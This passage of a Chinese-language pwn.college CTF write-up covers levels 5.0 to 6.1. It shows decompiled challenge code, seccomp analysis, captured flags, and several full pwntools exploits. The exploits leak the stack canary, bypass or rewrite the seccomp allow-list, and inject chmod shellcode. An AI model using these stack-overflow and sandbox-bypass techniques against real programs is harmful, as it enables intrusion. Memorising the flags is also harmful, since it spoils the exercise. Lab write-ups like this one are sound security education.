  bp_ = (__int64)&amp;amp;savedregs;
  sz_ = ((unsigned __int64)((char *)&amp;amp;savedregs - (char *)&amp;amp;v8) &amp;gt;&amp;gt; 3) + 2;
  rp_ = (__int64)&amp;amp;retaddr;
  puts(&quot;Before we do anything, let&apos;s take a look at challenge()&apos;s stack frame:&quot;);
  DUMP_STACK(sp_, sz_);
  printf(&quot;Our stack pointer points to %p, and our base pointer points to %p.\n&quot;, (const void *)sp_, (const void *)bp_);
  printf(&quot;This means that we have (decimal) %d 8-byte words in our stack frame,\n&quot;, sz_);
  puts(&quot;including the saved base pointer and the saved return address, for a&quot;);
  printf(&quot;total of %d bytes.\n&quot;, 8 * sz_);
  printf(&quot;The input buffer begins at %p, partway through the stack frame,\n&quot;, buf);
  puts(&quot;(\&quot;above\&quot; it in the stack are other local variables used by the function).&quot;);
  puts(&quot;Your input will be read into this buffer.&quot;);
  printf(&quot;The buffer is %d bytes long, but the program will let you provide an arbitrarily\n&quot;, 103);
  puts(&quot;large input length, and thus overflow the buffer.\n&quot;);
  puts(&quot;We have disabled the following standard memory corruption mitigations for this challenge:&quot;);
  puts(&quot;- the stack is executable. This means that if the stack contains shellcode&quot;);
  puts(&quot;and you overwrite the return address with the address of that shellcode, it will execute.\n&quot;);
  cp_ = bp_;
  cv_ = __readfsqword(0x28u);
  while ( *(_QWORD *)cp_ != cv_ )
    cp_ -= 8LL;
  printf(&quot;Payload size: &quot;);
  __isoc99_scanf(&quot;%lu&quot;, &amp;amp;nbytes);
  printf(&quot;You have chosen to send %lu bytes of input!\n&quot;, nbytes);
  printf(&quot;This will allow you to write from %p (the start of the input buffer)\n&quot;, buf);
  printf(
    &quot;right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n&quot;,
    (char *)buf + nbytes,
    nbytes - 103);
  printf(&quot;Send your payload (up to %lu bytes)!\n&quot;, nbytes);
  v13 = read(0, buf, nbytes);
  if ( v13 &amp;lt; 0 )
  {
    v3 = __errno_location();
    v4 = strerror(*v3);
    printf(&quot;ERROR: Failed to read input -- %s!\n&quot;, v4);
    exit(1);
  }
  printf(&quot;You sent %d bytes!\n&quot;, v13);
  puts(&quot;Let&apos;s see what happened with the stack:\n&quot;);
  DUMP_STACK(sp_, sz_);
  puts(&quot;The program&apos;s memory status:&quot;);
  printf(&quot;- the input buffer starts at %p\n&quot;, buf);
  printf(&quot;- the saved frame pointer (of main) is at %p\n&quot;, (const void *)bp_);
  printf(&quot;- the saved return address (previously to main) is at %p\n&quot;, (const void *)rp_);
  printf(&quot;- the saved return address is now pointing to %p.\n&quot;, *(const void **)rp_);
  printf(&quot;- the canary is stored at %p.\n&quot;, (const void *)cp_);
  printf(&quot;- the canary value is now %p.\n&quot;, *(const void **)cp_);
  putchar(10);
  printf(&quot;You said: %s\n&quot;, (const char *)buf);
  puts(&quot;This challenge has a trick hidden in its code. Reverse-engineer the binary right after this puts()&quot;);
  puts(&quot;call to see the hidden backdoor!&quot;);
  if ( strstr((const char *)buf, &quot;REPEAT&quot;) )
  {
    puts(&quot;Backdoor triggered! Repeating challenge()&quot;);
    return challenge(v11, v10, v9);
  }
  else
  {
    puts(&quot;This challenge will, by default, initialize a seccomp filter jail before exiting&quot;);
    puts(&quot;the challenge function. You will have to reverse engineer the program to&quot;);
    puts(&quot;understand how to avoid this.&quot;);
    if ( v18[13] == 0x484D17DF2438CECFLL )
    {
      puts(&quot;Jail avoided! Continuing execution.&quot;);
    }
    else
    {
      puts(&quot;Restricting system calls (default: kill)&quot;);
      v17 = seccomp_init(0LL);
      for ( i = 0; i &amp;lt;= 1; ++i )
      {
        v6 = *((_DWORD *)v16 + i);
        v7 = (const char *)seccomp_syscall_resolve_num_arch(0LL, v6);
        printf(&quot;Allowing syscall: %s (number %i)\n&quot;, v7, v6);
        if ( (unsigned int)seccomp_rule_add(v17, 2147418112LL, *((unsigned int *)v16 + i), 0LL) )
          __assert_fail(
            &quot;seccomp_rule_add(ctx, SCMP_ACT_ALLOW, syscalls_allowed[i], 0) == 0&quot;,
            &quot;/challenge/toddlerone-level-5-0.c&quot;,
            0x9Eu,
            &quot;challenge&quot;);
      }
      if ( (unsigned int)seccomp_load(v17) )
        __assert_fail(&quot;seccomp_load(ctx) == 0&quot;, &quot;/challenge/toddlerone-level-5-0.c&quot;, 0xA1u, &quot;challenge&quot;);
    }
    puts(&quot;Goodbye!&quot;);
    return 0LL;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我本以为是要 bypass seccomp 的题，没想到根本用不着动脑子……&lt;/p&gt;
&lt;p&gt;令 &lt;code&gt;v18[13] == 0x484D17DF2438CECF&lt;/code&gt; seccomp 就形同虚设了。试问这题和前面两题有啥区别吗，是不是这题就是个引子，后面有真正的 seccomp 玩呀 LOL&lt;/p&gt;
&lt;p&gt;值得注意的是这里我们泄漏出来的 rbp 并不是真正的 rbp，而是一些其它的栈内数据，它后面也有别的返回地址，不过都覆盖掉好像也没啥问题，目的达到了就好～&lt;/p&gt;
&lt;p&gt;我只是想说，我懒得改变量名了，总之解释清楚别误解了就好哈哈哈。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import (
    ELF,
    asm,
    context,
    gdb,
    log,
    os,
    p64,
    process,
    remote,
    shellcraft,
)

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./toddlerone-level-5-0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;

backdoor = b&quot;REPEAT &quot;
padding_size = 0x78
padding_to_v18_size = 0x68
backdoor_trigger = b&quot;&quot;.ljust(padding_size - len(backdoor) + 1, b&quot;A&quot;) + backdoor
trigger_length = str(len(backdoor_trigger))
padding_to_canary = b&quot;&quot;.ljust(0x8, b&quot;A&quot;)
padding_to_ret = b&quot;&quot;.ljust(0x18, b&quot;A&quot;)
v18 = p64(0x484D17DF2438CECF)
fixed_offset = 0x11C0


def to_hex_bytes(data):
    return &quot;&quot;.join(f&quot;\\x{byte:02x}&quot; for byte in data)


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def leak_data(target):
    try:
        target.sendlineafter(b&quot;Payload size: &quot;, trigger_length)
        send_payload(target, backdoor_trigger)
        response = target.recvuntil(backdoor)
        log.debug(response.decode(&quot;utf-8&quot;, errors=&quot;ignore&quot;))

        canary = b&quot;\x00&quot; + target.recv(0x7)
        rbp = target.recv(0x6)
        log.success(f&quot;Canary: {to_hex_bytes(canary)}\nRBP: {to_hex_bytes(rbp)}&quot;)

        return [canary, rbp]
    except Exception as e:
        log.exception(f&quot;An error occurred while leaking canary: {e}&quot;)


def construct_payload(target):
    canary, rbp = leak_data(target)
    rbp = int.from_bytes(rbp, &quot;little&quot;)

    ret_addr = rbp - fixed_offset

    shellcode = asm(shellcraft.chmod(&quot;f&quot;, 0o4))
    shellcode_length = len(shellcode)
    shellcode += b&quot;&quot;.ljust(padding_to_v18_size - shellcode_length, b&quot;A&quot;)
    shellcode += v18
    shellcode += padding_to_canary
    shellcode += canary
    shellcode += padding_to_ret
    shellcode += p64(ret_addr)

    return shellcode


def attack(target, payload):
    try:
        os.system(&quot;ln -s /flag f&quot;)

        payload_size = f&quot;{len(payload)}&quot;.encode()
        target.sendlineafter(b&quot;Payload size: &quot;, payload_size)

        target.recvuntil(b&quot;Send your payload&quot;)
        send_payload(target, payload)
        response = target.recvall(timeout=5)
        log.debug(response.decode(&quot;utf-8&quot;, errors=&quot;ignore&quot;))

        try:
            with open(&quot;./f&quot;, &quot;r&quot;) as file:
                content = file.read()

                log.success(content)
                return True
        except FileNotFoundError:
            log.exception(&quot;The file &apos;./f&apos; does not exist.&quot;)
        except PermissionError:
            log.failure(&quot;Permission denied to read &apos;./f&apos;.&quot;)
        except Exception as e:
            log.exception(f&quot;An error occurred while performing attack: {e}&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        target = launch()
        payload = construct_payload(target)

        attack(target, payload)
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{k8hu05Nam_pIp8PRsZsT8XQmYSZ.01NyMDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 5.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Write a full exploit involving injecting shellcode, reverse engineering, seccomp, and a method of tricking the challenge into executing your payload.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;参见 &lt;a href=&quot;#level-50&quot;&gt;Level 5.0&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import (
    ELF,
    asm,
    context,
    gdb,
    log,
    os,
    p64,
    process,
    remote,
    shellcraft,
)

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./toddlerone-level-5-1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;

backdoor = b&quot;REPEAT &quot;
padding_size = 0x58
padding_to_v13_size = 0x40
backdoor_trigger = b&quot;&quot;.ljust(padding_size - len(backdoor) + 1, b&quot;A&quot;) + backdoor
trigger_length = str(len(backdoor_trigger))
padding_to_canary = b&quot;&quot;.ljust(0x10, b&quot;A&quot;)
padding_to_ret = b&quot;&quot;.ljust(0x8, b&quot;A&quot;)
v13 = p64(0x4887233ABFEDC049)
fixed_offset = 0x1160


def to_hex_bytes(data):
    return &quot;&quot;.join(f&quot;\\x{byte:02x}&quot; for byte in data)


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def leak_data(target):
    try:
        target.sendlineafter(b&quot;Payload size: &quot;, trigger_length)
        send_payload(target, backdoor_trigger)
        response = target.recvuntil(backdoor)
        log.debug(response.decode(&quot;utf-8&quot;, errors=&quot;ignore&quot;))

        canary = b&quot;\x00&quot; + target.recv(0x7)
        rbp = target.recv(0x6)
        log.success(f&quot;Canary: {to_hex_bytes(canary)}\nRBP: {to_hex_bytes(rbp)}&quot;)

        return [canary, rbp]
    except Exception as e:
        log.exception(f&quot;An error occurred while leaking canary: {e}&quot;)


def construct_payload(target):
    canary, rbp = leak_data(target)
    rbp = int.from_bytes(rbp, &quot;little&quot;)

    ret_addr = rbp - fixed_offset

    shellcode = asm(shellcraft.chmod(&quot;f&quot;, 0o4))
    shellcode_length = len(shellcode)
    shellcode += b&quot;&quot;.ljust(padding_to_v13_size - shellcode_length, b&quot;A&quot;)
    shellcode += v13
    shellcode += padding_to_canary
    shellcode += canary
    shellcode += padding_to_ret
    shellcode += p64(ret_addr)

    return shellcode


def attack(target, payload):
    try:
        os.system(&quot;ln -s /flag f&quot;)

        payload_size = f&quot;{len(payload)}&quot;.encode()
        target.sendlineafter(b&quot;Payload size: &quot;, payload_size)

        target.recvuntil(b&quot;Send your payload&quot;)
        send_payload(target, payload)
        response = target.recvall(timeout=5)
        log.debug(response.decode(&quot;utf-8&quot;, errors=&quot;ignore&quot;))

        try:
            with open(&quot;./f&quot;, &quot;r&quot;) as file:
                content = file.read()

                log.success(content)
                return True
        except FileNotFoundError:
            log.exception(&quot;The file &apos;./f&apos; does not exist.&quot;)
        except PermissionError:
            log.failure(&quot;Permission denied to read &apos;./f&apos;.&quot;)
        except Exception as e:
            log.exception(f&quot;An error occurred while performing attack: {e}&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        target = launch()
        payload = construct_payload(target)

        attack(target, payload)
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{w8_cw1WNbjdmbd10XDPrPKfumT5.0FOyMDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 6.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Write a full exploit involving injecting shellcode, reverse engineering, seccomp, and a method of tricking the challenge into executing your payload.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;__int64 __fastcall challenge(unsigned int a1, __int64 a2, __int64 a3)
{
  int *v3; // rax
  char *v4; // rax
  unsigned int v6; // ebx
  const char *v7; // rax
  __int64 v8; // [rsp+0h] [rbp-F0h] BYREF
  __int64 v9; // [rsp+8h] [rbp-E8h]
  __int64 v10; // [rsp+10h] [rbp-E0h]
  unsigned int v11; // [rsp+1Ch] [rbp-D4h]
  int i; // [rsp+28h] [rbp-C8h]
  int v13; // [rsp+2Ch] [rbp-C4h]
  size_t nbytes; // [rsp+30h] [rbp-C0h] BYREF
  void *buf; // [rsp+38h] [rbp-B8h]
  _DWORD *v16; // [rsp+40h] [rbp-B0h]
  __int64 v17; // [rsp+48h] [rbp-A8h]
  _DWORD v18[34]; // [rsp+50h] [rbp-A0h] BYREF
  unsigned __int64 v19; // [rsp+D8h] [rbp-18h]
  __int64 savedregs; // [rsp+F0h] [rbp+0h] BYREF
  _UNKNOWN *retaddr; // [rsp+F8h] [rbp+8h] BYREF

  v11 = a1;
  v10 = a2;
  v9 = a3;
  v19 = __readfsqword(0x28u);
  memset(v18, 0, 0x78uLL);
  buf = v18;
  v16 = &amp;amp;v18[29];
  nbytes = 0LL;
  v18[29] = 1;
  v18[30] = 231;
  puts(&quot;The challenge() function has just been launched!&quot;);
  sp_ = (__int64)&amp;amp;v8;
  bp_ = (__int64)&amp;amp;savedregs;
  sz_ = ((unsigned __int64)((char *)&amp;amp;savedregs - (char *)&amp;amp;v8) &amp;gt;&amp;gt; 3) + 2;
  rp_ = (__int64)&amp;amp;retaddr;
  puts(&quot;Before we do anything, let&apos;s take a look at challenge()&apos;s stack frame:&quot;);
  DUMP_STACK(sp_, sz_);
  printf(&quot;Our stack pointer points to %p, and our base pointer points to %p.\n&quot;, (const void *)sp_, (const void *)bp_);
  printf(&quot;This means that we have (decimal) %d 8-byte words in our stack frame,\n&quot;, sz_);
  puts(&quot;including the saved base pointer and the saved return address, for a&quot;);
  printf(&quot;total of %d bytes.\n&quot;, 8 * sz_);
  printf(&quot;The input buffer begins at %p, partway through the stack frame,\n&quot;, buf);
  puts(&quot;(\&quot;above\&quot; it in the stack are other local variables used by the function).&quot;);
  puts(&quot;Your input will be read into this buffer.&quot;);
  printf(&quot;The buffer is %d bytes long, but the program will let you provide an arbitrarily\n&quot;, 114);
  puts(&quot;large input length, and thus overflow the buffer.\n&quot;);
  puts(&quot;We have disabled the following standard memory corruption mitigations for this challenge:&quot;);
  puts(&quot;- the stack is executable. This means that if the stack contains shellcode&quot;);
  puts(&quot;and you overwrite the return address with the address of that shellcode, it will execute.\n&quot;);
  cp_ = bp_;
  cv_ = __readfsqword(0x28u);
  while ( *(_QWORD *)cp_ != cv_ )
    cp_ -= 8LL;
  printf(&quot;Payload size: &quot;);
  __isoc99_scanf(&quot;%lu&quot;, &amp;amp;nbytes);
  printf(&quot;You have chosen to send %lu bytes of input!\n&quot;, nbytes);
  printf(&quot;This will allow you to write from %p (the start of the input buffer)\n&quot;, buf);
  printf(
    &quot;right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n&quot;,
    (char *)buf + nbytes,
    nbytes - 114);
  printf(&quot;Send your payload (up to %lu bytes)!\n&quot;, nbytes);
  v13 = read(0, buf, nbytes);
  if ( v13 &amp;lt; 0 )
  {
    v3 = __errno_location();
    v4 = strerror(*v3);
    printf(&quot;ERROR: Failed to read input -- %s!\n&quot;, v4);
    exit(1);
  }
  printf(&quot;You sent %d bytes!\n&quot;, v13);
  puts(&quot;Let&apos;s see what happened with the stack:\n&quot;);
  DUMP_STACK(sp_, sz_);
  puts(&quot;The program&apos;s memory status:&quot;);
  printf(&quot;- the input buffer starts at %p\n&quot;, buf);
  printf(&quot;- the saved frame pointer (of main) is at %p\n&quot;, (const void *)bp_);
  printf(&quot;- the saved return address (previously to main) is at %p\n&quot;, (const void *)rp_);
  printf(&quot;- the saved return address is now pointing to %p.\n&quot;, *(const void **)rp_);
  printf(&quot;- the canary is stored at %p.\n&quot;, (const void *)cp_);
  printf(&quot;- the canary value is now %p.\n&quot;, *(const void **)cp_);
  putchar(10);
  printf(&quot;You said: %s\n&quot;, (const char *)buf);
  puts(&quot;This challenge has a trick hidden in its code. Reverse-engineer the binary right after this puts()&quot;);
  puts(&quot;call to see the hidden backdoor!&quot;);
  if ( strstr((const char *)buf, &quot;REPEAT&quot;) )
  {
    puts(&quot;Backdoor triggered! Repeating challenge()&quot;);
    return challenge(v11, v10, v9);
  }
  else
  {
    puts(&quot;Restricting system calls (default: kill)&quot;);
    v17 = seccomp_init(0LL);
    for ( i = 0; i &amp;lt;= 1; ++i )
    {
      v6 = v16[i];
      v7 = (const char *)seccomp_syscall_resolve_num_arch(0LL, v6);
      printf(&quot;Allowing syscall: %s (number %i)\n&quot;, v7, v6);
      if ( (unsigned int)seccomp_rule_add(v17, 2147418112LL, (unsigned int)v16[i], 0LL) )
        __assert_fail(
          &quot;seccomp_rule_add(ctx, SCMP_ACT_ALLOW, syscalls_allowed[i], 0) == 0&quot;,
          &quot;/challenge/toddlerone-level-6-0.c&quot;,
          0x97u,
          &quot;challenge&quot;);
    }
    if ( (unsigned int)seccomp_load(v17) )
      __assert_fail(&quot;seccomp_load(ctx) == 0&quot;, &quot;/challenge/toddlerone-level-6-0.c&quot;, 0x9Au, &quot;challenge&quot;);
    puts(&quot;Goodbye!&quot;);
    return 0LL;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得，果不出我所料，这 seccomp 不就来了嘛～&lt;/p&gt;
&lt;p&gt;其实不用 seccomp-tools 也行，不过这里也贴一下好啦：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x06 0xc000003e  if (A != ARCH_X86_64) goto 0008
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A &amp;lt; 0x40000000) goto 0005
 0004: 0x15 0x00 0x03 0xffffffff  if (A != 0xffffffff) goto 0008
 0005: 0x15 0x01 0x00 0x00000001  if (A == write) goto 0007
 0006: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0008
 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0008: 0x06 0x00 0x00 0x00000000  return KILL
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;seccomp_rule_add&lt;/code&gt; 会允许 &lt;code&gt;v16[i]&lt;/code&gt; 处保存的系统调用，&lt;code&gt;v16[i]&lt;/code&gt; 处保存的两个默认系统调用分别是 &lt;code&gt;write (1)&lt;/code&gt; 和 &lt;code&gt;exit_group (231)&lt;/code&gt;，究其原因是因为程序执行完 seccomp 后还需要调用 &lt;code&gt;puts&lt;/code&gt; 函数，而 &lt;code&gt;puts&lt;/code&gt; 函数就需要这两个系统调用才可以执行。&lt;/p&gt;
&lt;p&gt;所以我们有两个可用的系统调用可以发挥（怎么发挥？栈溢出过去覆盖成自己的～），这里还是选择 &lt;code&gt;chmod&lt;/code&gt;，允许了 &lt;code&gt;chmod&lt;/code&gt; 后还需要允许 &lt;code&gt;write&lt;/code&gt; 才可以成功执行 &lt;code&gt;chmod&lt;/code&gt;，我猜应该是因为 &lt;code&gt;chmod&lt;/code&gt; 会去修改 &lt;code&gt;inode&lt;/code&gt; 中保存的权限信息，而修改它需要 &lt;code&gt;write&lt;/code&gt; 系统调用，所以使用 &lt;code&gt;chmod&lt;/code&gt; 的话我们必须同时允许 &lt;code&gt;write&lt;/code&gt; 才行。&lt;/p&gt;
&lt;p&gt;需要注意的就是必须先允许主要系统调用，再允许其内部依赖的系统调用，否则 seccomp 会直接阻止主要调用。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import (
    ELF,
    asm,
    context,
    gdb,
    log,
    os,
    p32,
    p64,
    process,
    remote,
    shellcraft,
)

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./toddlerone-level-6-0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;

backdoor = b&quot;REPEAT &quot;
padding_size = 0x88
backdoor_trigger = b&quot;&quot;.ljust(padding_size - len(backdoor) + 1, b&quot;A&quot;) + backdoor
trigger_length = str(len(backdoor_trigger))
allowed_syscall_offset = 0x74
padding_to_ret = b&quot;&quot;.ljust(0x18, b&quot;A&quot;)
fixed_offset = 0x11E0


def to_hex_bytes(data):
    return &quot;&quot;.join(f&quot;\\x{byte:02x}&quot; for byte in data)


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def leak_data(target):
    try:
        target.sendlineafter(b&quot;Payload size: &quot;, trigger_length)
        send_payload(target, backdoor_trigger)
        response = target.recvuntil(backdoor)
        log.debug(response.decode(&quot;utf-8&quot;, errors=&quot;ignore&quot;))

        canary = b&quot;\x00&quot; + target.recv(0x7)
        rbp = target.recv(0x6)
        log.success(f&quot;Canary: {to_hex_bytes(canary)}\nRBP: {to_hex_bytes(rbp)}&quot;)

        return [canary, rbp]
    except Exception as e:
        log.exception(f&quot;An error occurred while leaking canary: {e}&quot;)


def construct_payload(target):
    canary, rbp = leak_data(target)
    rbp = int.from_bytes(rbp, &quot;little&quot;)

    ret_addr = rbp - fixed_offset

    shellcode = asm(shellcraft.chmod(&quot;f&quot;, 0o4))
    shellcode_length = len(shellcode)
    shellcode += b&quot;&quot;.ljust(allowed_syscall_offset - shellcode_length, b&quot;A&quot;)
    shellcode += p32(0x5A)  # SYS_chmod
    shellcode += p32(0x01)  # SYS_write
    shellcode += b&quot;&quot;.ljust(padding_size - (allowed_syscall_offset + 0x8), b&quot;A&quot;)
    shellcode += canary
    shellcode += padding_to_ret
    shellcode += p64(ret_addr)

    return shellcode


def attack(target, payload):
    try:
        os.system(&quot;ln -s /flag f&quot;)

        payload_size = f&quot;{len(payload)}&quot;.encode()
        target.sendlineafter(b&quot;Payload size: &quot;, payload_size)

        target.recvuntil(b&quot;Send your payload&quot;)
        send_payload(target, payload)
        response = target.recvall(timeout=5)
        log.debug(response.decode(&quot;utf-8&quot;, errors=&quot;ignore&quot;))

        try:
            with open(&quot;./f&quot;, &quot;r&quot;) as file:
                content = file.read()

                log.success(content)
                return True
        except FileNotFoundError:
            log.exception(&quot;The file &apos;./f&apos; does not exist.&quot;)
        except PermissionError:
            log.failure(&quot;Permission denied to read &apos;./f&apos;.&quot;)
        except Exception as e:
            log.exception(f&quot;An error occurred while performing attack: {e}&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        target = launch()
        payload = construct_payload(target)

        attack(target, payload)
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{Uh7pFxiL1QPHZzDdWNmvsW7FH_Y.0VOyMDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 6.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Write a full exploit involving injecting shellcode, reverse engineering, seccomp, and a method of tricking the challenge into executing your payload.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;参见 &lt;a href=&quot;#level-60&quot;&gt;Level 6.0&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import (
    ELF,
    asm,
    context,
    gdb,
    log,
    os,
    p32,
    p64,
    process,
    remote,
    shellcraft,
)

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./toddlerone-level-6-1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;

backdoor = b&quot;REPEAT &quot;
padding_size = 0x38
backdoor_trigger = b&quot;&quot;.ljust(padding_size - len(backdoor) + 1, b&quot;A&quot;) + backdoor
trigger_length = str(len(backdoor_trigger))
allowed_syscall_offset = 0x2C
padding_to_ret = b&quot;&quot;.ljust(0x8, b&quot;A&quot;)
fixed_offset = 0x1120


def to_hex_bytes(data):
    return &quot;&quot;.join(f&quot;\\x{byte:02x}&quot; for byte in data)


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def leak_data(target):
    try:
        target.sendlineafter(b&quot;Payload size: &quot;, trigger_length)
        send_payload(target, backdoor_trigger)
        response = target.recvuntil(backdoor)
        log.debug(response.decode(&quot;utf-8&quot;, errors=&quot;ignore&quot;))

        canary = b&quot;\x00&quot; + target.recv(0x7)
        rbp = target.recv(0x6)
        log.success(f&quot;Canary: {to_hex_bytes(canary)}\nRBP: {to_hex_bytes(rbp)}&quot;)

        return [canary, rbp]
    except Exception as e:
        log.exception(f&quot;An error occurred while leaking canary: {e}&quot;)


def construct_payload(target):
    canary, rbp = leak_data(target)
    rbp = int.from_bytes(rbp, &quot;little&quot;)

    ret_addr = rbp - fixed_offset

    shellcode = asm(shellcraft.chmod(&quot;f&quot;, 0o4))
    shellcode_length = len(shellcode)
    shellcode += b&quot;&quot;.ljust(allowed_syscall_offset - shellcode_length, b&quot;A&quot;)
    shellcode += p32(0x5A)  # SYS_chmod
    shellcode += p32(0x01)  # SYS_write
    shellcode += b&quot;&quot;.ljust(padding_size - (allowed_syscall_offset + 0x8), b&quot;A&quot;)
    shellcode += canary
    shellcode += padding_to_ret
    shellcode += p64(ret_addr)

    return shellcode


def attack(target, payload):
    try:
        os.system(&quot;ln -s /flag f&quot;)

        payload_size = f&quot;{len(payload)}&quot;.encode()
        target.sendlineafter(b&quot;Payload size: &quot;, payload_size)

        target.recvuntil(b&quot;Send your payload&quot;)
        send_payload(target, payload)
        response = target.recvall(timeout=5)
        log.debug(response.decode(&quot;utf-8&quot;, errors=&quot;ignore&quot;))

        try:
            with open(&quot;./f&quot;, &quot;r&quot;) as file:
                content = file.read()

                log.success(content)
                return True
        except FileNotFoundError:
            log.exception(&quot;The file &apos;./f&apos; does not exist.&quot;)
        except PermissionError:
            log.failure(&quot;Permission denied to read &apos;./f&apos;.&quot;)
        except Exception as e:
            log.exception(f&quot;An error occurred while performing attack: {e}&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        target = launch()
        payload = construct_payload(target)

        attack(target, payload)
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
